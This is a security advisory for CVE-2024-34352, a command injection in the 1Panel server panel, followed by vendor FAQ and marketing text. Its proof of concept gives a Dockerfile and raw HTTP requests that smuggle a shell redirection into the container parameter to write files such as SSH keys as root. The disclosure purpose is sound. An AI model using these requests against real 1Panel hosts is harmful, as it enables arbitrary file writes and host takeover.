Summary
There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs.
We can use the following mirror configuration write symbol > to achieve arbitrary file writing
PoC
Dockerfile
FROM bash:latest
COPY echo.sh /usr/local/bin/echo.sh
RUN chmod +x /usr/local/bin/echo.sh
CMD ["echo.sh"]
echo.sh
#!/usr/local/bin/bash
echo "Hello, World!"
Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container
Send the following packet, taking care to change the containerID to the malicious container we constructed
GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1
Host: xxxx:42713
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Upgrade: websocket
Origin: http://xxx:42713
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d
Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==
Then you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges
GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1
Host: xxx:42713
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Upgrade: websocket
Origin: http://xxx:42713
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d
Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==
Or write a timed task to execute any command.
Impact
The ability to write arbitrary files on the host where the service is deployed can lead to a host takeover
Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.
CVE-2024-34352 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.10.3-lts); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2024-34352? CVE-2024-34352 is a medium-severity command injection vulnerability in github.com/1Panel-dev/1Panel (go), affecting versions < 1.10.3-lts. It is fixed in 1.10.3-lts. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
- How severe is CVE-2024-34352? CVE-2024-34352 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/1Panel-dev/1Panel are affected by CVE-2024-34352? github.com/1Panel-dev/1Panel (go) versions < 1.10.3-lts is affected.
- Is there a fix for CVE-2024-34352? Yes. CVE-2024-34352 is fixed in 1.10.3-lts. Upgrade to this version or later.
- Is CVE-2024-34352 exploitable, and should I be worried? Whether CVE-2024-34352 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-34352 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-34352? Upgrade
github.com/1Panel-dev/1Panelto 1.10.3-lts or later.